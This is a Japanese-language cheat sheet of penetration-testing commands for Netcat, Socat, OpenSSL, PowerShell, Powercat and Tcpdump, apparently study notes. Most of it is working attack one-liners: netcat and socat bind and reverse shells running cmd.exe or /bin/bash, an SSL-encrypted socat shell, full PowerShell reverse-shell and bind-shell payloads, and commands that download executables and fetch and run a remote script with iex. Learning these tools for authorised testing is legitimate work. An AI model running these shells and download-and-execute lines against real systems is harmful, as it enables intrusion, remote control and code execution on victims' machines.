Practical Tools

Netcat

オプション

n :DNSの名前解決をスキップ
v :情報を追加して表示する
l :リッスン状態にする
p :リッスンするためのポート番号を指定
e : 指定されたプログラムを実行

実行コマンド例

接続
nc -nv ip port

接続の待ち受け
nc -nvlp port

ファイル転送
nc -nv ip port < ファイルパス nc -nlvp ip port > incoming.exe

bind shell (cmdリダイレクト)
nc -nlvp port -e cmd.exe
Nc -nv ip port

reverse shell (bashリダイレクト)
nc -nlvp 4444
nc -nv ip port -e /bin/bash

Socat

オプション

TCP4 :プロトコルを指定
TCP4-LISTEN :接続を待ち受ける
fork :子プロセスを作成(ファイル転送などに使う)
create :新しいファイルを生成
-d -d : エラー、警告、通知などのメッセージを表示する
STDOUT :標準出力をTCPソケットに接続する
EXEC :指定されたプログラムを実行
OPENSSL-LISTEN :暗号化の接続を待ち受ける
cert :証明書ファイルを指定
verify=0 :SSL検証を無効にする

実行コマンド例

接続
socat – TCP4:ip:port EXEC:/bin/bash

接続の待ち受け
sudo socat TCP4-LISTEN:port STDOUT

ファイル転送
sudo socat TCP4-LISTEN:port,fork file:filename (転送元のファイルを指定する)
socat TCP4:ip:port file:filename, create

暗号化接続
sudo socat OPENSSL-LISTEN:port,cert=pemファイル,verify=0,fork EXEC:/bin/bash
socat – OPENSSL:ip:port,verify=0

Open SSL

オプション

req:新しい証明書署名要求を開始します
-newkey:新しい秘密鍵を生成します
rsa:2048:2,048ビットのキー長でRSA暗号化を使用します。
-nodes:パスフレーズ保護なしで秘密鍵を保存します
-keyout:キーをファイルに保存します
-x509:証明書要求の代わりに自己署名証明書を出力します
-days:有効期間を日数で設定します
-out:証明書をファイルに保存します

実行コマンド例

キー、証明書の生成
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt

pemファイル生成
cat bind_shell.key bind_shell.crt > bindshell.pem (keyファイル、crtファイルを1つのpemファイルにまとめる)

PowerShell


ファイルダウンロード

オプション

-c :コマンド実行
new-object :.NetFramework、COMオブジェクトのインスタンス化
System.Net.WebClient :System.Netで定義されいてるWebclientのインスタンスを作成
DownloadFile :ファイルのダウンロードをする

実行コマンド例

powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://X.X.X.X/wget.exe’,’C:¥Users¥Desktop¥wget.exe’)”

リバースシェル

実行コマンド例(IP,portを任意の値にする)

powershell -c “$client = New-Object System.Net.Sockets.TCPClient(‘X.X.X.X‘,PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”

バインドシェル

実行コマンド例(portを任意の値にする)

powershell -c “$listener = New-Object System.Net.Sockets.TcpListener(‘0.0.0.0’,PORT);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()”

Powercat

ダウンロード

iex (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’)

オプション

-c :クライアントモードを指定してリスニングIPアドレスを設定
-p :ポート番号を指定
-i :リモートで転送されるローカルファイルを指定
-e :実行するアプリケーション(cmd.exe)を指定
-l :リスナーを作成

ファイル転送

実行コマンド例

powercat -c IP -p PORT -i C:\Users\powercat.ps1

リバースシェル

実行コマンド例

powercat -c IP -p PORT -e cmd.exe

バインドシェル

実行コマンド例

powercat -l -p PORT -e cmd.exe

Tcpdump

オプション

-n :名前解決をスキップ
-i :interfaceを指定
-nn :アドレスやポート番号を名前に変換しないで表示
-vvv :詳細を出力する
-w :パケットをファイルに出力する
-r :-wで書き込んだファイルを読み込む
dst :宛先IPでフィルタリング
src :送信元IPでフィルタリング
port :ポート番号で指定

パケットを取得

実行コマンド例

sudo tcpdump -n -i tun0 -nn -vvv -w output.pcap

取得したファイルを読み込む

実行コマンド例

sudo tcpdump -r output.pcap (ファイルを読み込む)

sudo tcpdump -r output.pcap -n src IP (ファイルを送信元IPでフィルタして読み込む)

sudo tcpdump -r output.pcap -n port PORT (ファイルをポート番号でフィルタして読み込む)